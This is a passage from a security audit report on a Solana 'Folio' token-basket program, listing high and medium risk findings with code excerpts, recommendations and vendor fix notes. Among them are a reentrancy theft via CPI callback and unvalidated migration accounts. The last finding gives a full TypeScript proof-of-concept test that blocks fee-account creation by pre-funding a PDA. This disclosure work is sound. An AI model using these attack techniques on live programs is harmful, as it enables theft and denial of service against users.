    raw_shares: u64,
) -> Result<()> {
    let raw_amount_to_give_to_user = Decimal::from_token_amount(raw_shares)?
        .mul(scaled_folio_token_balance)?
        .div(scaled_total_supply_folio_token)?
        .to_token_amount(Rounding::Floor)?;

    // Add to pending amounts in both the folio's basket and the user's pending basket
    raw_user_amount.amount_for_redeeming = raw_user_amount
        .amount_for_redeeming
        .checked_add(raw_amount_to_give_to_user.0)
        .ok_or(ErrorCode::MathOverflow)?;
    raw_related_mint_amount.amount_for_redeeming = raw_related_mint_amount
        .amount_for_redeeming
        .checked_add(raw_amount_to_give_to_user.0)
        .ok_or(ErrorCode::MathOverflow)?;

    Ok(())
}
```

For `burn_folio_token`, users cannot control how many tokens they will receive when burning the `raw_shares`.

Impact Explanation: The lack of slippage control may result in users receiving fewer tokens than expected due to market fluctuations during the transaction, which could lead to an unacceptable outcome for the user.

Likelihood Explanation: This can easily happen, whether it is unintentional or malicious.

Recommendation: For `mint_folio_token`, add an optional slippage parameter to control the maximum value of each token consumed and also control the minimum amount of shares that can be obtained.

For `burn_folio_token`, add an optional slippage parameter to control the minimum amount of tokens that can be obtained.

Reserve: Fixed in commit 5a2ad4ae. Now fixed by providing a parameter to block if the min shares expected isn't sent.

Fix review: The finding has been fixed.

3.1.6 Auction bid ignores pending tokens in balance calculation

Submitted by krikolkk

Severity: High Risk

Context: bid.rs#L186

Summary: The `bid.rs` instruction incorrectly uses the raw balance of the Folio's sell token account without accounting for pending token deposits or redemptions. This leads to two critical issues: (1) auctions can sell tokens that users have deposited but haven't yet minted, and (2) users who have burned their Folio tokens to redeem underlying assets may be unable to complete the redemption if all tokens are sold in an auction.

Finding Description: When determining how many tokens are available to sell in an auction, the code uses the raw balance of the folio sell token account without subtracting pending deposits or redemptions:

```
// In bid.rs handler function
let raw_sell_balance = ctx.accounts.folio_sell_token_account.amount;
```

This approach overlooks pending operations, resulting in multiple issues. Unlike other parts of the codebase that properly calculate the "clean" token balance by subtracting pending mint and redeem amounts, the bid function uses the raw balance directly.

For example, if a Folio initially contains 1M of token A and 0 of token B with an intended allocation of `[50%:A, 50%:B]`:

1. A user deposits 500K of token A (pending mint).
2. An auction starts and sees 1.5M of token A.
3. The auction sells 750K of token A (50% of the apparent total).
4. The folio ends up with proportions of `[25%:A, 75%:B]` instead of the expected `[50%:A, 50%:B]`.

Another critical scenario occurs when a user has burned their Folio tokens to redeem underlying assets:

1. A user burns their Folio tokens to redeem token A.
2. Before they can complete the redemption, an auction sells all available token A.
3. The user has already burned their Folio tokens but cannot complete the redemption.
4. The user suffers a complete loss of funds.

The correct approach is implemented in other parts of the codebase:

```
// This is how the balance should be calculated
pub fn get_clean_token_balance(
    raw_token_balance: u64,
    token_amounts: &TokenAmount,
) -> Result<u64> {
    raw_token_balance
        .checked_sub(token_amounts.amount_for_redeeming)
        .ok_or(ErrorCode::MathOverflow)?
        .checked_sub(token_amounts.amount_for_minting)
        .ok_or(ErrorCode::MathOverflow.into())
}
```

Impact Explanation: High. This vulnerability directly affects user funds and can result in:

- Complete loss of funds for users who burned Folio tokens but cannot redeem assets.

- Incorrect portfolio rebalancing which violates the core functionality of the protocol, resulting in dramatically different asset allocations than intended.

Likelihood Explanation: Medium. The issue requires specific timing and conditions:

- A user must have pending deposits or redemptions.
- An auction must be initiated during the pending period.
- The auction must target the same token as the pending operation.

However, in active Folios with frequent rebalancing, this scenario is quite possible, especially during high activity periods.

Recommendation: Modify the bid handler to account for pending mints and redemptions by using the established `get_clean_token_balance` function that already exists in the codebase:

```
// In bid.rs handler function
// First, find the TokenAmount for the sell token from the folio_basket
let token_amount = folio_basket.token_amounts.iter()
    .find(|ta| ta.mint == ctx.accounts.auction_sell_token_mint.key())
    .ok_or(ErrorCode::TokenMintNotFound)?;

// Then calculate the clean balance
let raw_sell_balance = FolioBasket::get_clean_token_balance(
    ctx.accounts.folio_sell_token_account.amount,
    token_amount
)?;
```

This ensures that tokens involved in pending user operations aren't included in auction calculations, preserving the expected behavior of the system and protecting user funds.

Reserve: Fixed in commit ecaa361d.

We also had to make another change related to other issues reported by some researchers on PR 54. It includes:

- Folio basket will now store how many tokens are in folio-basket.
- Fix for this issue now the balance is obtained in the following way:

```
let raw_sell_balance = folio_basket.get_token_amount_in_folio_basket(&auction.sell)?;
```

Fix review: The finding has been fixed.

3.1.7 Inactive users may lose rewards

Submitted by shaflow01

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: When the folio is killed or migrated, the `accrue_rewards` function cannot be called, preventing the user from updating their `reward_info`. This leads to the loss of some rewards for the user, as both the global `reward_info` and the individual user's `reward_info` can only be updated via `accrue_rewards`.

Finding Description:

```
pub fn accrue_rewards<'info>(
    system_program: &AccountInfo<'info>,
    token_program: &AccountInfo<'info>,
    realm: &AccountInfo<'info>,
    folio: &AccountLoader<'info, Folio>,
    actor: &Account<'info, Actor>,
    folio_owner: &AccountInfo<'info>,
    governance_token_mint: &AccountInfo<'info>,
    governance_staked_token_account: &AccountInfo<'info>,
    caller: &AccountInfo<'info>,
    caller_governance_token_account: &AccountInfo<'info>,
    user: &AccountInfo<'info>,
    user_governance_token_account: &AccountInfo<'info>,
    folio_reward_tokens: &AccountLoader<'info, FolioRewardTokens>,
    remaining_accounts: &'info [AccountInfo<'info>],
    // Claim rewards has this remaining account as mutable, so we need to pass it in, to pass our check
    fee_recipient_token_account_is_mutable: bool,
) -> Result<()> {
        // ...
        UserRewardInfo::process_init_if_needed(
            caller_reward_info,
            system_program,
            caller,
            &caller_key,
            expected_pda_for_caller.1,
            &folio_key,
            &reward_token.key(),
            &reward_info,
            raw_caller_governance_account_balance,
        )?;
```

The user can only update their reward_info through accrue_rewards, but there are two ways accrue_rewards can be called:

1. `accrue_rewards` instruction – This allows users to manually update their reward_info by invoking the accrue_rewards function directly through an instruction.
2. `FolioProgramInternal::accrue_rewards` – When the user calls claim_rewards, this function is internally triggered to update the user's reward_info before the rewards are claimed.

   When the folio is killed or migrated, for the first method, calling the `accrue_rewards` instruction will result in an immediate error.

   ```
   /// Validate the instruction.
   ///
   /// # Checks
   /// * Folio is valid PDA and valid status
   /// * The actor provided is the folio owner's actor
   /// * Realm is the one that owns the Folio Owner's governance account
   pub fn validate<'info>(
       folio: &AccountLoader<'info, Folio>,
       actor: &Account<'info, Actor>,
       realm: &AccountInfo<'info>,
       folio_owner: &AccountInfo<'info>,
   ) -> Result<()> {
       folio.load()?.validate_folio(
           &folio.key(),
           Some(actor),
           Some(vec![Role::Owner]),
           Some(vec![FolioStatus::Initializing, FolioStatus::Initialized]),
       )?;

       // Validate that the caller is the realm governance account that represents the folio owner
       GovernanceUtil::validate_realm_is_valid(realm, folio_owner)?;

       Ok(())
   }
   ```

   For the second method, `FolioProgramInternal::accrue_rewards` will directly skip the execution of `accrue_rewards` and return `Ok` immediately, so the user's `reward_info` cannot be updated.

   ```
   pub fn accrue_rewards<'info>(
       system_program: &AccountInfo<'info>,
       token_program: &AccountInfo<'info>,
   ```

```
    realm: &AccountInfo<'info>,
    folio: &AccountLoader<'info, Folio>,
    actor: &Account<'info, Actor>,
    folio_owner: &AccountInfo<'info>,
    governance_token_mint: &AccountInfo<'info>,
    governance_staked_token_account: &AccountInfo<'info>,
    user: &AccountInfo<'info>,
    caller_governance_token_account: &AccountInfo<'info>,
    folio_reward_tokens: &AccountLoader<'info, FolioRewardTokens>,
    remaining_accounts: &'info [AccountInfo<'info>],
    fee_recipient_token_account_is_mutable: bool,
) -> Result<()> {
    let loaded_folio = folio.load()?;

    // If the folio is not initializing or initialized, we don't need to accrue rewards.
    if ![FolioStatus::Initializing, FolioStatus::Initialized]
        .contains(&loaded_folio.status.into())
    {
        return Ok(());
    }

    accrue_rewards(
        system_program,
        token_program,
        realm,
        folio,
        actor,
        folio_owner,
        governance_token_mint,
        governance_staked_token_account,
        user,
        caller_governance_token_account,
        user,
        caller_governance_token_account,
        folio_reward_tokens,
        remaining_accounts,
        fee_recipient_token_account_is_mutable,
    )?;

    Ok(())
}
```

Since the user's `reward_info` cannot be updated to the latest, the user will lose a portion of their rewards.

For example:

1. At time 1, the user updated their `reward_info` index to 50 by calling `claim_rewards`.
2. After some time, the global `reward_info` index increases to 100, but during this period, the user did not update their `reward_info`.
3. If the folio is killed or migrated, the user will not be able to update their `reward_info` to 100, resulting in a loss of staking rewards for that period.

Impact Explanation: High, the user will lose staking rewards.

Likelihood Explanation: Medium, there may be inactive users in the system.

Recommendation: It is recommended to add a method that can be called at any time to update the user's `reward_info`.

Reserve: Fixed in commit 1842cfe2. It was indirectly fixed via our revamp of the Reward program, now separated from the Folio program.

Fix review: The finding has been fixed.

3.1.8 Failure to promptly handle `reward_info` during changes in the folio status

Submitted by shaflow01

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: After the folio is killed or migrated, the global `reward_info` cannot be updated, and unallocated rewards cannot be withdrawn. Therefore, it is necessary to implement measures to prevent rewards from remaining unallocated and reward tokens from being locked.

Finding Description: After calling `kill_folio` and `start_folio_migration`, the global `reward_info` can no longer be updated. Therefore, it is necessary to ensure that the `reward_info` is updated to the latest version before calling these two actions. Otherwise, the global reward information will remain outdated and cannot be updated:

```
/// Validate the instruction.
///
/// # Checks
/// * Folio is valid PDA and valid status
/// * The actor provided is the folio owner's actor
/// * Realm is the one that owns the Folio Owner's governance account
pub fn validate<'info>(
    folio: &AccountLoader<'info, Folio>,
    actor: &Account<'info, Actor>,
    realm: &AccountInfo<'info>,
    folio_owner: &AccountInfo<'info>,
) -> Result<()> {
    folio.load()?.validate_folio(
        &folio.key(),
        Some(actor),
        Some(vec![Role::Owner]),
        Some(vec![FolioStatus::Initializing, FolioStatus::Initialized]),
    )?;

    // Validate that the caller is the realm governance account that represents the folio owner
    GovernanceUtil::validate_realm_is_valid(realm, folio_owner)?;

    Ok(())
}
```

Moreover, any unallocated reward tokens will remain stuck in the `FolioRewardTokens` account's ATA and cannot be used.

Recommendation: It is recommended to ensure that the global `reward_info` state is updated before the status change, and also implement a method to withdraw any unallocated tokens.

Reserve: Fixed in commit 1842cfe2. Indirectly fixed via our revamp of the Rewards program, not separated from the Folio program.

Fix review: The finding has been fixed.

3.1.9 Users can steal auction tokens by CPI callback

Submitted by shaflow01, also found by 0xd4ps, Jiri123, pepoc3 and krikolkk

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: Allowing the use of CPI callbacks when bidding to pay for buy tokens enables malicious actors to substitute the actual payment by calling `add_to_pending_basket`. After the transaction is completed, they can withdraw the tokens intended for payment, leading to the theft of auction tokens.

Finding Description: When a user pays for buy tokens, they can call `AddToPendingBasket` through a CPI callback to add the buy tokens to their basket. The tokens will be sent to the basket, and after the transaction is completed, the user can withdraw these tokens. As a result, the user can obtain sell tokens without actually paying any tokens.

```
    // collect payment from bidder
    if with_callback {
        ctx.accounts.folio_buy_token_account.reload()?;

        let raw_folio_buy_balance_before = ctx.accounts.folio_buy_token_account.amount;

        cpi_call(ctx.remaining_accounts, callback_data)?;

        // Validate we received the proper funds
        ctx.accounts.folio_buy_token_account.reload()?;

        check_condition!(
            ctx.accounts
                .folio_buy_token_account
                .amount
                .checked_sub(raw_folio_buy_balance_before)
                .ok_or(ErrorCode::MathOverflow)?
                >= raw_bought_amount,
            InsufficientBid
        );
    }

pub fn handler<'info>(
    ctx: Context<'_, '_, 'info, 'info, AddToPendingBasket<'info>>,
    raw_amounts: Vec<u64>,
) -> Result<()> {
    ...
    // Can't add new mints if it's for the folio, user should only be able to add what's in the folio's pending
    ↪  token amounts
    let folio_basket = &mut ctx.accounts.folio_basket.load_mut()?;
    folio_basket.add_token_amounts_to_basket(&added_mints, PendingBasketType::MintProcess)?;
```

In this process, the deepest CPI call is as follows: `user` → `bid` → `add_to_pending_basket` → `token_interface::transfer_checked`, which is exactly 4, thus not exceeding the maximum CPI call depth.

Recommendation: It is recommended to take measures to prevent reentrancy attacks.

Reserve: Fixed in commit 81f5dbf0. We now validate that the program called isn't the same as the Folio program.

Fix review: The finding has been fixed.

3.1.10 Insufficient validation of destination accounts during token migration

Submitted by krikolkk

Severity: High Risk

Context: migrate_folio_tokens.rs#L96-L127

Summary: During folio token migration, the protocol performs minimal validation of the destination accounts. The only restriction is that the new folio account is owned by the registered new program, without any additional structural or semantic checks. This permissive approach, combined with the fact that the migration instruction can be called by any user, creates a serious vulnerability that could lead to permanent token loss.

Finding Description: The vulnerability exists in the `migrate_folio_tokens.rs` handler, which is responsible for transferring tokens from the old folio to the new folio during migration. The validation logic for destination accounts lacks critical safety checks:

```rust
// From migrate_folio_tokens.rs
pub fn validate(&self, old_folio: &Folio) -> Result<()> {
    // Validate old folio
    old_folio.validate_folio(
        &self.old_folio.key(),
        None,
        None,
        Some(vec![FolioStatus::Migrating]),
    )?;

    check_condition!(
        old_folio.folio_token_mint == self.folio_token_mint.key(),
        InvalidFolioTokenMint
    );

    /*
    New Folio Validation
     */
    // Make sure the new folio program is in the registrar
    check_condition!(
        self.program_registrar
            .is_in_registrar(self.new_folio_program.key()),
        ProgramNotInRegistrar
    );

    // Make sure the new folio is owned by the new folio program
    check_condition!(
        *self.new_folio.owner == self.new_folio_program.key(),
        NewFolioNotOwnedByNewFolioProgram
    );

    check_condition!(
        self.new_folio_program.key() != FOLIO_PROGRAM_ID,
        CantMigrateToSameProgram
    );

    Ok(())
}
```

There are several points that we need to consider:

1. There's no verification that the destination account is properly structured as a folio (e.g., checking account discriminator or field layout).
2. There's no verification that the destination account has proper references to the token mint or maintains appropriate state for token management.
3. The instruction does not verify that the migrated folio matches the folio referenced in this instruction.

Furthermore, the instruction is permissionless, which means that any user can call the migration instruction once the folio is in the `Migrating` state, not just the folio owner or a trusted administrator.

Impact Explanation: High. Exploiting this vulnerability could lead to locked tokens of folio users, including the tokens of the folio owner.

Likelihood Explanation: Medium. While the issue is tied to the migration process (which is relatively infrequent), the permissionless nature of the instruction significantly increases risk. Any user can trigger this functionality once a folio enters the `Migrating` state, making exploitation more likely than if it required privileged access.

Recommendation: Consider the most critical check of ensuring the `folio_mint`'s `MintAuthority` is set to the `new_folio` used in this instruction.

Additionally, consider implementing additional checks:

1. Ensuring the new PDA's discriminator matches the old PDA's discriminator.
2. Verifying the new account's structure matches the old PDA's accounts structure to confirm folio mint compatibility.

Reserve: Fixed in commit 603e29e8. The mint and freeze auth were already validated. The field layout of the PDA we don't want to validate, as it would force the next iteration of the folio program to be the same

structure as the current one, which might not be the case. Added the discriminator check, even though this could potentially be an issue if the future folio implementations use a different name for the account.

Fix review: The finding has been fixed.

3.1.11 [FIX REVIEW] Missing the call to the `validate` function in the `SetRewardsAdmin` instruction

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The project team refactored the reward program, and in the `SetRewardsAdmin` instruction, the call to the `validate` function is missing, which results in the lack of validation for the `reward_admin`.

Proof of Concept:

```
**[derive(Accounts)]:** pub struct SetRewardsAdmin<'info> {
    pub system_program: Program<'info, System>,
    pub rent: Sysvar<'info, Rent>,

    /// The executor
    #[account(mut)]
    pub executor: Signer<'info>,

    /// CHECK: Is the PDA of the governance account that represents the rewards admin (should be signer)
    #[account(signer)]
    pub reward_admin: UncheckedAccount<'info>,

    /// CHECK: Realm
    #[account()]
    pub realm: UncheckedAccount<'info>,

    #[account(init_if_needed,
        payer = executor,
        space = RewardTokens::SIZE,
        seeds = [REWARD_TOKENS_SEEDS, realm.key().as_ref()],
        bump
    )]
    pub reward_tokens: AccountLoader<'info, RewardTokens>,
}

impl SetRewardsAdmin<'_> {
    /// Validate the instruction.
    ///
    /// # Checks
    /// * Realm and reward admin are owned by the SPL Governance program
    /// * Rewards admin is part of the realm
    pub fn validate(&self) -> Result<()> {
        // Validate that the realm is an account owned by the SPL governance program
        check_condition!(
            self.realm.owner == &SPL_GOVERNANCE_PROGRAM_ID,
            InvalidGovernanceAccount
        );

        // Validate that the reward admin is an account owned by the SPL governance program
        check_condition!(
            self.reward_admin.owner == &SPL_GOVERNANCE_PROGRAM_ID,
            InvalidGovernanceAccount
        );

        // Validate that the governance account is part of the realm
        GovernanceUtil::validate_realm_is_valid(&self.realm, &self.reward_admin)?;

        Ok(())
    }
}

/// Set the rewards admin for the realm.
///
/// # Arguments
/// * `ctx` - The context of the instruction.
pub fn handler<'info>(ctx: Context<'_, '_, 'info, 'info, SetRewardsAdmin<'info>>) -> Result<()> {
    RewardTokens::process_init_if_needed(
        &mut ctx.accounts.reward_tokens,
        ctx.bumps.reward_tokens,
```

```
        &ctx.accounts.realm.key(),
        &ctx.accounts.reward_admin.key(),
    )?;

    Ok(())
}
```

The handler is missing a call to the `validate` function, and this instruction is permissionless—anyone can act as the executor. As a result, the `reward_admin` can be set to a malicious account.

Recommendation: Add a call to the `validate` function for verification.

Reserve: The call to validate function is now here: set_rewards_admin.rs#L74.

3.2 Medium Risk

3.2.1 Malicious Actor can prevent creation of fee distribution accounts

Submitted by chinepun, also found by LeoQ7 and calc1f4r

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: A malicious actor can cause a denial of service of the Fee Distribution PDA account by sending some lamports to it hence preventing the creation of the account to be owned by the Folio Program.

Finding Description: The Fee Distribution PDA account is an account that is created with seeds which includes a `variable index` as a seed, hence there will be multiple fee distribution PDA accounts. However an attacker could prevent successful creation of this account by sending enough lamports to the account that covers for rent so that the account is owned by the system program and cannot be allocated to the Folio Program.

An attacker could do this for multiple Fee Distribution Accounts(incrementing the variable index seed each time). This would cause the protocol to be unable to collect fees. This attacks costs as little as 897840 lamports to bypass the minimum amount for rent on solana, this means it will cost 1 SOL to execute this attack on 1113 PDA accounts (`897840 * 1113`) as the variable seed been used is a `u64` variable.

Impact Explanation: This will break ability of the protocol to collect fees when executed.

Likelihood Explanation: This attack is cheap to execute and can be performed by any account.

Proof of Concept:

- Add `ADMIN_PUBKEY` and `SPL_GOVERNANCE_ID` to the terminal.

```
export ADMIN_PUBKEY=AXF3tTrMUD5BLzv5Fmyj63KXwvkuGdxMQemSJHtTag4j
export SPL_GOVERNANCE_PROGRAM_ID=HwXcHGabc19PxzYFVSfKvuaDSNpbLGL8fhVtkcTyEymj
```

- Add genesis programs to `Anchor.toml` and modify the test script to only run the tests in `test-folio.ts`.

```
[[test.genesis]]
address = "metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
program = "tests-ts/programs/metadata.so"
[[test.genesis]]
address = "GovER5Lthms3bLBqWub97yVrMmEogzX7xNjdXpPPCVZw"
program = "tests-ts/programs/governance.so"
[[test.genesis]]
address = "SQDS4ep65T869zMMBKyuUq6aD6EgTu8psMjkvj52pCf"
program = "tests-ts/programs/squads.so"

[scripts]
test = "tsc && yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests-ts/tests-*.ts"
```

- Add a test function to `tests-ts/tests-folio.ts` to test the functionality.

```
it("Denial of service by funding FEE DISTRIBUTION PDA", async () => {
    const folioBefore = await programFolio.account.folio.fetch(folioPDA);
    const feeRecipientsBefore =
    await programFolio.account.feeRecipients.fetchNullable(
        getTVLFeeRecipientsPDA(folioPDA)
```

```
    );

    const malicious_actor = await Keypair.generate();

    const feeDistributionPDA = await getFeeDistributionPDA(
    folioPDA,
    currentFeeDistributionIndex
    );
    { // @audit We send lamports to the FeeDistributionPDA here
    const { blockhash, lastValidBlockHeight } =
        await connection.getLatestBlockhash("confirmed");

    await connection.confirmTransaction(
        {
        blockhash: blockhash,
        lastValidBlockHeight: lastValidBlockHeight,
        signature: await connection.requestAirdrop(
            feeDistributionPDA,
            897840
        ),
        },
        "confirmed"
    );

    await wait();
    }
    const value = new BN(100);
    const folioProgram = await getFolioProgram(connection, folioOwnerKeypair);
const updateFolioIx = await folioProgram.methods
    .updateFolio(
        new BN(10000000),
        new BN(currentFeeDistributionIndex),
        value,
        value,
        value,
        newFeeRecipient,
        [],
        "mandate"
    )
    .accountsPartial({
    systemProgram: SystemProgram.programId,
        rent: SYSVAR_RENT_PUBKEY,
        folioOwner: folioOwnerKeypair.publicKey,
        actor: getActorPDA(folioOwnerKeypair.publicKey, folioPDA),
        folio: folioPDA,
        feeRecipients: getTVLFeeRecipientsPDA(folioPDA),
    })
    .remainingAccounts([
        {
        pubkey: TOKEN_PROGRAM_ID,
        isSigner: false,
        isWritable: false,
        },
        {
        pubkey: getDAOFeeConfigPDA(),
        isSigner: false,
        isWritable: false,
        },
        {
        pubkey: getFolioFeeConfigPDA(folioPDA),
        isSigner: false,
        isWritable: false,
        },
        {
        pubkey: folioTokenMint.publicKey,
        isSigner: false,
        isWritable: true,
        },
        {
        pubkey: feeDistributionPDA, //getFeeDistributionPDA(folioPDA, currentFeeDistributionIndex),
        isSigner: false,
        isWritable: true,
        },
        {
        pubkey: await getOrCreateAtaAddress(
            connection,
```

```
            folioTokenMint.publicKey,
            folioOwnerKeypair,
            feeRecipient
        ),
        isSigner: false,
        isWritable: true,
        },
    ])
    .instruction();

    const tx = new Transaction().add(updateFolioIx);
    try {
    await programFolio.provider.sendAndConfirm(tx, [folioOwnerKeypair]);
    // console.log("sent lamports to fee distribution PDA")
    } catch (error) {
    console.log("e = ", error);
    }
});
```

The following log contains the git diff added to craft this proof of concept (changes to `package.json` file ignored):

```
diff --git a/Anchor.toml b/Anchor.toml
index 037fb05..10319be 100644
--- a/Anchor.toml
+++ b/Anchor.toml
@@ -22,9 +22,19 @@ cluster = "Localnet"
 #cluster = "Devnet"
 wallet = "~/.config/solana/id.json"

+[[test.genesis]]
+address = "metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
+program = "tests-ts/programs/metadata.so"
+[[test.genesis]]
+address = "GovER5Lthms3bLBqWub97yVrMmEogzX7xNjdXpPPCVZw"
+program = "tests-ts/programs/governance.so"
+[[test.genesis]]
+address = "SQDS4ep65T869zMMBKyuUq6aD6EgTu8psMjkvj52pCf"
+program = "tests-ts/programs/squads.so"

 [scripts]
-test = "tsc && yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests-ts/tests-*.ts"
+# test = "tsc && yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests-ts/tests-*.ts"
+test = "tsc && yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests-ts/tests-folio.ts"
 # Needs to be serial https://github.com/kevinheavey/solana-bankrun/issues/2
 test-bankrun = "tsc && yarn ts-mocha -p ./tsconfig.json -t 1000000 --serial --recursive
 ↪  tests-ts/bankrun/test-runner.ts"
 # Anchor struggles with lock file version 4, even if it's locked at verison 3 in config.toml
diff --git a/log b/log
new file mode 100644
index 0000000..77ad867
--- /dev/null
+++ b/log
@@ -0,0 +1,95 @@
+test-folio.ts
+    it("Denial of service by funding FEE DISTRIBUTION PDA", async () => {
+    const folioBefore = await programFolio.account.folio.fetch(folioPDA);
+    const feeRecipientsBefore =
+      await programFolio.account.feeRecipients.fetchNullable(
+        getTVLFeeRecipientsPDA(folioPDA)
+      );
+
+      const malicious_actor = await Keypair.generate();
+      await airdrop(connection, malicious_actor.publicKey, 1);
+      const feeDistributionPDA = await getFeeDistributionPDA(folioPDA, currentFeeDistributionIndex);
+      await airdrop(connection, feeDistributionPDA, 1);
+    const value = new BN(100);
+    const folioProgram = await getFolioProgram(connection, folioOwnerKeypair);
+    const updateFolioIx = await folioProgram.methods
+    .updateFolio(
+      new BN(10000000),
+      new BN(currentFeeDistributionIndex),
+      value,
+      value,
+      value,
+      newFeeRecipient,
```

```
+      [],
+      "mandate"
+    )
+    .accountsPartial({
+      systemProgram: SystemProgram.programId,
+      rent: SYSVAR_RENT_PUBKEY,
+      folioOwner: folioOwnerKeypair.publicKey,
+      actor: getActorPDA(folioOwnerKeypair.publicKey, folioPDA),
+      folio: folioPDA,
+      feeRecipients: getTVLFeeRecipientsPDA(folioPDA),
+    })
+    .remainingAccounts([
+      {
+        pubkey: TOKEN_PROGRAM_ID,
+        isSigner: false,
+        isWritable: false,
+      },
+      {
+        pubkey: getDAOFeeConfigPDA(),
+        isSigner: false,
+        isWritable: false,
+      },
+      {
+        pubkey: getFolioFeeConfigPDA(folioPDA),
+        isSigner: false,
+        isWritable: false,
+      },
+      {
+        pubkey: folioTokenMint.publicKey,
+        isSigner: false,
+        isWritable: true,
+      },
+      {
+        pubkey: feeDistributionPDA,//getFeeDistributionPDA(folioPDA, currentFeeDistributionIndex),
+        isSigner: false,
+        isWritable: true,
+      },
+      {
+        pubkey: await getOrCreateAtaAddress(
+          connection,
+          folioTokenMint.publicKey,
+          folioOwnerKeypair,
+          feeRecipient
+        ),
+        isSigner: false,
+        isWritable: true,
+      },
+    ])
+    .instruction();
+
+    const tx = new Transaction().add(updateFolioIx);
+    try {
+        await programFolio.provider.sendAndConfirm(tx, [folioOwnerKeypair]);
+        // console.log("sent lamports to fee distribution PDA")
+      } catch (error) {
+        console.log("e = ", error);
+      }
+  })
+
+Anchor.toml
+[[test.genesis]]
+address = "metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
+program = "tests-ts/programs/metadata.so"
+[[test.genesis]]
+address = "GovER5Lthms3bLBqWub97yVrMmEogzX7xNjdXpPPCVZw"
+program = "tests-ts/programs/governance.so"
+[[test.genesis]]
+address = "SQDS4ep65T869zMMBKyuUq6aD6EgTu8psMjkvj52pCf"
+program = "tests-ts/programs/squads.so"
+
+[scripts]
+# test = "tsc && yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests-ts/tests-*.ts"
+test = "tsc && yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests-ts/tests-folio.ts"
diff --git a/tests-ts/tests-folio.ts b/tests-ts/tests-folio.ts
index 31d451a..1cc0df7 100644
--- a/tests-ts/tests-folio.ts
```

```
+++ b/tests-ts/tests-folio.ts
@@ -7,7 +7,14 @@ import {
 } from "../utils/program-helper";
 import { Folio } from "../target/types/folio";
 import { BN, Program } from "@coral-xyz/anchor";
-import { Connection, Keypair, PublicKey } from "@solana/web3.js";
+import {
+  Connection,
+  Keypair,
+  PublicKey,
+  SystemProgram,
+  SYSVAR_RENT_PUBKEY,
+  Transaction,
+} from "@solana/web3.js";
 import {
   accrueRewards,
   addOrUpdateActor,
@@ -20,6 +27,7 @@ import {
   claimRewards,
   crankFeeDistribution,
   distributeFees,
+  getFolioProgram,
   initFolio,
   initOrSetRewardRatio,
   killAuction,
@@ -46,6 +54,7 @@ import {
   getAuctionPDA,
   getUserPendingBasketPDA,
   getUserRewardInfoPDA,
+  getFolioFeeConfigPDA,
 } from "../utils/pda-helper";
 import {
   DEFAULT_DECIMALS_MUL,
@@ -1152,6 +1161,106 @@ describe("Folio Tests", () => {
     assert.equal(auction.k.eq(new BN(1146076687433)), true);
   });

+  it("Denial of service by funding FEE DISTRIBUTION PDA", async () => {
+    const folioBefore = await programFolio.account.folio.fetch(folioPDA);
+    const feeRecipientsBefore =
+      await programFolio.account.feeRecipients.fetchNullable(
+        getTVLFeeRecipientsPDA(folioPDA)
+      );
+
+    const malicious_actor = await Keypair.generate();
+
+    const feeDistributionPDA = await getFeeDistributionPDA(
+      folioPDA,
+      currentFeeDistributionIndex
+    );
+    { // @audit We send lamports to the FeeDistributionPDA here
+      const { blockhash, lastValidBlockHeight } =
+        await connection.getLatestBlockhash("confirmed");
+
+      await connection.confirmTransaction(
+        {
+          blockhash: blockhash,
+          lastValidBlockHeight: lastValidBlockHeight,
+          signature: await connection.requestAirdrop(
+            feeDistributionPDA,
+            897840
+          ),
+        },
+        "confirmed"
+      );
+
+      await wait();
+    }
+    const value = new BN(100);
+    const folioProgram = await getFolioProgram(connection, folioOwnerKeypair);
+    const updateFolioIx = await folioProgram.methods
+      .updateFolio(
+        new BN(10000000),
+        new BN(currentFeeDistributionIndex),
+        value,
+        value,
```

```
+        value,
+        newFeeRecipient,
+        [],
+        "mandate"
+      )
+      .accountsPartial({
+        systemProgram: SystemProgram.programId,
+        rent: SYSVAR_RENT_PUBKEY,
+        folioOwner: folioOwnerKeypair.publicKey,
+        actor: getActorPDA(folioOwnerKeypair.publicKey, folioPDA),
+        folio: folioPDA,
+        feeRecipients: getTVLFeeRecipientsPDA(folioPDA),
+      })
+      .remainingAccounts([
+        {
+          pubkey: TOKEN_PROGRAM_ID,
+          isSigner: false,
+          isWritable: false,
+        },
+        {
+          pubkey: getDAOFeeConfigPDA(),
+          isSigner: false,
+          isWritable: false,
+        },
+        {
+          pubkey: getFolioFeeConfigPDA(folioPDA),
+          isSigner: false,
+          isWritable: false,
+        },
+        {
+          pubkey: folioTokenMint.publicKey,
+          isSigner: false,
+          isWritable: true,
+        },
+        {
+          pubkey: feeDistributionPDA, //getFeeDistributionPDA(folioPDA, currentFeeDistributionIndex),
+          isSigner: false,
+          isWritable: true,
+        },
+        {
+          pubkey: await getOrCreateAtaAddress(
+            connection,
+            folioTokenMint.publicKey,
+            folioOwnerKeypair,
+            feeRecipient
+          ),
+          isSigner: false,
+          isWritable: true,
+        },
+      ])
+      .instruction();
+
+    const tx = new Transaction().add(updateFolioIx);
+    try {
+      await programFolio.provider.sendAndConfirm(tx, [folioOwnerKeypair]);
+      // console.log("sent lamports to fee distribution PDA")
+    } catch (error) {
+      console.log("e = ", error);
+    }
+  });
+
   it.skip("should allow auction actor to kill auction", async () => {
     const auctionPDA = getAuctionPDA(folioPDA, new BN(1));
     const auction = await programFolio.account.auction.fetch(auctionPDA);
```

The test can be tested using `anchor test`. The output will produce.

```
'Program n6sR7Eg5LMg5SGorxK9q3ZePHs9e8gjoQ7TgUW2YCaG invoke [1]',
'Program log: Instruction: UpdateFolio',
'Program 11111111111111111111111111111111 invoke [2]',
'Create Account: account Address { address: BU1a4pnAjVDEsq1j9H2h4DjfJjFLdnWqPGP5sv5QvT3u, base: None } already
↪  in use',
'Program 11111111111111111111111111111111 failed: custom program error: 0x0',
